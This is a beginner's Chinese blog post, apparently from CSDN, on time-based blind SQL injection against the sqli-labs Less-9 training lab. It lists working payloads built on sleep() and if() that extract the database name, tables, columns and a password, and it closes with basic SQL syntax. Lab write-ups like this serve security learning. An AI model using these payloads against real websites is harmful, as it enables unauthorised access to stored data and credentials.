萌新学习sql注入3

最基本的sql注入方法3

时间盲注

时间盲注和布尔盲注很相似,不同的是时间注入是利用sleep()和benchmark()等函数使时间变长
最基础的理论:
if(expr1,expr2,expr3),含义为:如果expr1为真,则执行expr2,为假则执行expr3
实验环境:sqli-labs-less9
在这里插入图片描述
不管怎么输都是you are in…考虑时间盲注

?id=1' and sleep(3)--+

很明显有延时在这里插入图片描述
开始if语句

?id=1' and if(length(database())>1,sleep(3),1)--+

在这里插入图片描述
二分法求database()长度,不再演示

?id=1' and if(substr(database(),1,1)='s',sleep(3),1)--+

在这里插入图片描述
再求出数据库名security,可用substr函数或left函数

?id=1' and if(left(database(),8)='security',sleep(3),1)--+

在这里插入图片描述
爆表

?id=1' and if(left((select table_name from information_schema.tables where table_schema='security' limit 3,1),5)='users' ,sleep(3),1)--+

在这里插入图片描述
这里我就直接写结果了

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(3),1)--+

在这里插入图片描述

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 12,1),8)='username', sleep(3), 1) --+

在这里插入图片描述
因为我知道有username和password,所有一个一个试,在第4列和12列的得到了结果。

?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb',sleep(3),1)--+

在这里插入图片描述
这里用dump试了一下,成功,手工注入实在受不了,写脚本或者拿sqlmap跑
参考大佬的笔记
sql盲注
SQL盲注脚本模板
Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)

sql语句基础

show databases; 查看数据库
use dvwa;进入数据库
select database(); 查看当前数据库
desc users; 查看表列表
show tables;查看库中的表
select * from users;查看表
增删改查:

  1. 增: insert into 表名称(列1,列2…) values (值1,值2…)
  2. 删: delect from 表名称 where 列名称 = 值
  3. 改: update 表名称 set 列名称 = 新值 where 列名称 = 某值
  4. 查: select * from 表名称 select 列名称 from 表名称

我也不是十分了解数据库,就这样吧,明天继续。干了!奥力给!

发布了7 篇原创文章 · 获赞 0 · 访问量 116

猜你喜欢

转载自blog.csdn.net/bmth666/article/details/104542972